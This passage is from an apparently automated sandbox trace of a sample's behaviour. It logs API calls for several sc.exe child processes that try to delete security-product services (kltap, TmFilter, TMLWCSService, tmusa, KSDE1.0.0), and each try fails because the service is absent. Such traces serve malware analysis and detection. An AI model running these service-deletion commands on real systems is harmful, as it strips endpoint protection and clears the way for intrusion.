lpBuffer=0x188e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcfb78, lpOverlapped=0x0 | out: lpBuffer=0x188e90*, lpNumberOfBytesWritten=0xcfb78*=0x62, lpOverlapped=0x0) returned 1 [0073.111] LocalFree (hMem=0x188e90) returned 0x0 [0073.111] LocalFree (hMem=0x188db0) returned 0x0 [0073.111] LocalFree (hMem=0x0) returned 0x0 [0073.111] CloseServiceHandle (hSCObject=0x184360) returned 1 [0073.112] exit (_Code=1060) Thread: id = 103 os_tid = 0xabc Process: id = "52" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e5df000" os_pid = "0xa40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"KSDE1.0.0\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 104 os_tid = 0xad0 [0073.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfd90 | out: lpSystemTimeAsFileTime=0x1cfd90*(dwLowDateTime=0x4368f590, dwHighDateTime=0x1d62774)) [0073.173] GetCurrentProcessId () returned 0xa40 [0073.173] GetCurrentThreadId () returned 0xad0 [0073.173] GetTickCount () returned 0x1149992 [0073.173] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfd98 | out: lpPerformanceCount=0x1cfd98*=19284825519) returned 1 [0073.173] GetModuleHandleW (lpModuleName=0x0) returned 0xff4c0000 [0073.173] __set_app_type (_Type=0x1) [0073.173] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff4c7228) returned 0x0 [0073.173] __wgetmainargs (in: _Argc=0xff4cb604, _Argv=0xff4cb610, _Env=0xff4cb608, _DoWildCard=0, _StartInfo=0xff4cb050 | out: _Argc=0xff4cb604, _Argv=0xff4cb610, _Env=0xff4cb608) returned 0 [0073.174] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.176] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.176] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.176] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.176] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.177] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.177] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.177] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.177] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.177] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.177] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.177] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.177] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.177] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.177] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.177] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.177] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.177] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.177] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.177] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.177] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.177] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.177] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x224370 [0073.182] OpenServiceW (hSCManager=0x224370, lpServiceName="KSDE1.0.0", dwDesiredAccess=0x10000) returned 0x0 [0073.182] GetLastError () returned 0x424 [0073.182] _itow (in: _Dest=0x424, _Radix=1899512 | out: _Dest=0x424) returned="1060" [0073.182] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff4cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.184] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cfbb0, nSize=0x2, Arguments=0x1cfbe0 | out: lpBuffer="跀\"") returned 0x62 [0073.185] GetFileType (hFile=0x120) returned 0x3 [0073.185] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x228ea0 [0073.185] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x228ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\"", lpUsedDefaultChar=0x0) returned 98 [0073.185] WriteFile (in: hFile=0x120, lpBuffer=0x228ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cfb58, lpOverlapped=0x0 | out: lpBuffer=0x228ea0*, lpNumberOfBytesWritten=0x1cfb58*=0x62, lpOverlapped=0x0) returned 1 [0073.185] LocalFree (hMem=0x228ea0) returned 0x0 [0073.185] LocalFree (hMem=0x228dc0) returned 0x0 [0073.185] LocalFree (hMem=0x0) returned 0x0 [0073.185] CloseServiceHandle (hSCObject=0x224370) returned 1 [0073.187] exit (_Code=1060) Thread: id = 105 os_tid = 0xa9c Process: id = "53" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3dee4000" os_pid = "0xadc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete kltap" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 106 os_tid = 0xb08 [0073.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fe10 | out: lpSystemTimeAsFileTime=0x10fe10*(dwLowDateTime=0x4374dc70, dwHighDateTime=0x1d62774)) [0073.243] GetCurrentProcessId () returned 0xadc [0073.243] GetCurrentThreadId () returned 0xb08 [0073.243] GetTickCount () returned 0x11499e0 [0073.243] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe18 | out: lpPerformanceCount=0x10fe18*=19291874461) returned 1 [0073.243] GetModuleHandleW (lpModuleName=0x0) returned 0xffec0000 [0073.243] __set_app_type (_Type=0x1) [0073.243] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffec7228) returned 0x0 [0073.244] __wgetmainargs (in: _Argc=0xffecb604, _Argv=0xffecb610, _Env=0xffecb608, _DoWildCard=0, _StartInfo=0xffecb050 | out: _Argc=0xffecb604, _Argv=0xffecb610, _Env=0xffecb608) returned 0 [0073.244] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.248] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.248] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.248] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.248] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.248] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.248] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.248] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.248] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.248] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.248] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.248] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.248] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.248] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.248] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.248] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.248] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.248] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.248] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.249] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.249] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.249] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.249] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.249] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.249] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x244370 [0073.253] OpenServiceW (hSCManager=0x244370, lpServiceName="kltap", dwDesiredAccess=0x10000) returned 0x0 [0073.254] GetLastError () returned 0x424 [0073.254] _itow (in: _Dest=0x424, _Radix=1113208 | out: _Dest=0x424) returned="1060" [0073.254] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffecb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.256] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10fc30, nSize=0x2, Arguments=0x10fc60 | out: lpBuffer="跀$") returned 0x62 [0073.256] GetFileType (hFile=0x120) returned 0x3 [0073.256] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x248ea0 [0073.256] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x248ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0073.256] WriteFile (in: hFile=0x120, lpBuffer=0x248ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10fbd8, lpOverlapped=0x0 | out: lpBuffer=0x248ea0*, lpNumberOfBytesWritten=0x10fbd8*=0x62, lpOverlapped=0x0) returned 1 [0073.256] LocalFree (hMem=0x248ea0) returned 0x0 [0073.256] LocalFree (hMem=0x248dc0) returned 0x0 [0073.256] LocalFree (hMem=0x0) returned 0x0 [0073.256] CloseServiceHandle (hSCObject=0x244370) returned 1 [0073.268] exit (_Code=1060) Thread: id = 107 os_tid = 0xad8 Process: id = "54" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3d4e9000" os_pid = "0x358" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TmFilter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 108 os_tid = 0x484 [0073.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xef9f0 | out: lpSystemTimeAsFileTime=0xef9f0*(dwLowDateTime=0x437e61f0, dwHighDateTime=0x1d62774)) [0073.315] GetCurrentProcessId () returned 0x358 [0073.315] GetCurrentThreadId () returned 0x484 [0073.315] GetTickCount () returned 0x1149a1e [0073.315] QueryPerformanceCounter (in: lpPerformanceCount=0xef9f8 | out: lpPerformanceCount=0xef9f8*=19299080400) returned 1 [0073.315] GetModuleHandleW (lpModuleName=0x0) returned 0xff110000 [0073.315] __set_app_type (_Type=0x1) [0073.315] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff117228) returned 0x0 [0073.316] __wgetmainargs (in: _Argc=0xff11b604, _Argv=0xff11b610, _Env=0xff11b608, _DoWildCard=0, _StartInfo=0xff11b050 | out: _Argc=0xff11b604, _Argv=0xff11b610, _Env=0xff11b608) returned 0 [0073.317] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.318] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.318] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.318] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.318] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.318] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.318] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.318] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.318] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.318] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.319] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.319] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.319] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.319] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.319] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.319] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.319] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.319] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.319] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.319] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.319] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.319] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.319] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.319] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.319] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x214370 [0073.323] OpenServiceW (hSCManager=0x214370, lpServiceName="TmFilter", dwDesiredAccess=0x10000) returned 0x0 [0073.323] GetLastError () returned 0x424 [0073.323] _itow (in: _Dest=0x424, _Radix=981080 | out: _Dest=0x424) returned="1060" [0073.323] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff11b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.325] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xef810, nSize=0x2, Arguments=0xef840 | out: lpBuffer="跀!") returned 0x62 [0073.325] GetFileType (hFile=0x120) returned 0x3 [0073.325] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x218ea0 [0073.325] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x218ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n!", lpUsedDefaultChar=0x0) returned 98 [0073.325] WriteFile (in: hFile=0x120, lpBuffer=0x218ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xef7b8, lpOverlapped=0x0 | out: lpBuffer=0x218ea0*, lpNumberOfBytesWritten=0xef7b8*=0x62, lpOverlapped=0x0) returned 1 [0073.325] LocalFree (hMem=0x218ea0) returned 0x0 [0073.325] LocalFree (hMem=0x218dc0) returned 0x0 [0073.325] LocalFree (hMem=0x0) returned 0x0 [0073.325] CloseServiceHandle (hSCObject=0x214370) returned 1 [0073.327] exit (_Code=1060) Thread: id = 109 os_tid = 0x410 Process: id = "55" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3ceee000" os_pid = "0x4e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TMLWCSService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 110 os_tid = 0x704 [0073.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fed0 | out: lpSystemTimeAsFileTime=0x28fed0*(dwLowDateTime=0x4387e770, dwHighDateTime=0x1d62774)) [0073.376] GetCurrentProcessId () returned 0x4e4 [0073.376] GetCurrentThreadId () returned 0x704 [0073.376] GetTickCount () returned 0x1149a5c [0073.376] QueryPerformanceCounter (in: lpPerformanceCount=0x28fed8 | out: lpPerformanceCount=0x28fed8*=19305190709) returned 1 [0073.378] GetModuleHandleW (lpModuleName=0x0) returned 0xff070000 [0073.378] __set_app_type (_Type=0x1) [0073.378] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff077228) returned 0x0 [0073.378] __wgetmainargs (in: _Argc=0xff07b604, _Argv=0xff07b610, _Env=0xff07b608, _DoWildCard=0, _StartInfo=0xff07b050 | out: _Argc=0xff07b604, _Argv=0xff07b610, _Env=0xff07b608) returned 0 [0073.379] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.381] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.381] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.381] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.381] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.381] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.381] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.381] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.381] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.381] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.381] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.382] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.382] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.382] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.382] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.382] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.382] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.382] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.382] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.382] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.382] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.382] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.382] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.382] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.382] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3a43d0 [0073.387] OpenServiceW (hSCManager=0x3a43d0, lpServiceName="TMLWCSService", dwDesiredAccess=0x10000) returned 0x0 [0073.387] GetLastError () returned 0x424 [0073.387] _itow (in: _Dest=0x424, _Radix=2686264 | out: _Dest=0x424) returned="1060" [0073.387] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff07b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.389] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28fcf0, nSize=0x2, Arguments=0x28fd20 | out: lpBuffer="趰:") returned 0x62 [0073.390] GetFileType (hFile=0x120) returned 0x3 [0073.390] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3a8e90 [0073.390] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3a8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n:", lpUsedDefaultChar=0x0) returned 98 [0073.390] WriteFile (in: hFile=0x120, lpBuffer=0x3a8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28fc98, lpOverlapped=0x0 | out: lpBuffer=0x3a8e90*, lpNumberOfBytesWritten=0x28fc98*=0x62, lpOverlapped=0x0) returned 1 [0073.390] LocalFree (hMem=0x3a8e90) returned 0x0 [0073.390] LocalFree (hMem=0x3a8db0) returned 0x0 [0073.390] LocalFree (hMem=0x0) returned 0x0 [0073.390] CloseServiceHandle (hSCObject=0x3a43d0) returned 1 [0073.392] exit (_Code=1060) Thread: id = 111 os_tid = 0x5d8 Process: id = "56" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e7f3000" os_pid = "0x414" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete tmusa" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 112 os_tid = 0xb44 [0073.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fc90 | out: lpSystemTimeAsFileTime=0x20fc90*(dwLowDateTime=0x4393ce50, dwHighDateTime=0x1d62774)) [0073.446] GetCurrentProcessId () returned 0x414 [0073.446] GetCurrentThreadId () returned 0xb44 [0073.446] GetTickCount () returned 0x1149aaa [0073.446] QueryPerformanceCounter (in: lpPerformanceCount=0x20fc98 | out: lpPerformanceCount=0x20fc98*=19312183784) returned 1 [0073.448] GetModuleHandleW (lpModuleName=0x0) returned 0xff200000 [0073.448] __set_app_type (_Type=0x1) [0073.448] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff207228) returned 0x0 [0073.448] __wgetmainargs (in: _Argc=0xff20b604, _Argv=0xff20b610, _Env=0xff20b608, _DoWildCard=0, _StartInfo=0xff20b050 | out: _Argc=0xff20b604, _Argv=0xff20b610, _Env=0xff20b608) returned 0 [0073.449] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.451] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.451] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.451] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.451] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.451] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.451] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.451] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.451] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.451] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.451] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.451] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.451] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.452] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.452] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.452] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.452] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.452] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.452] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.452] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.452] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.452] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.452] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.452] _wcsicmp (_String1="delete", 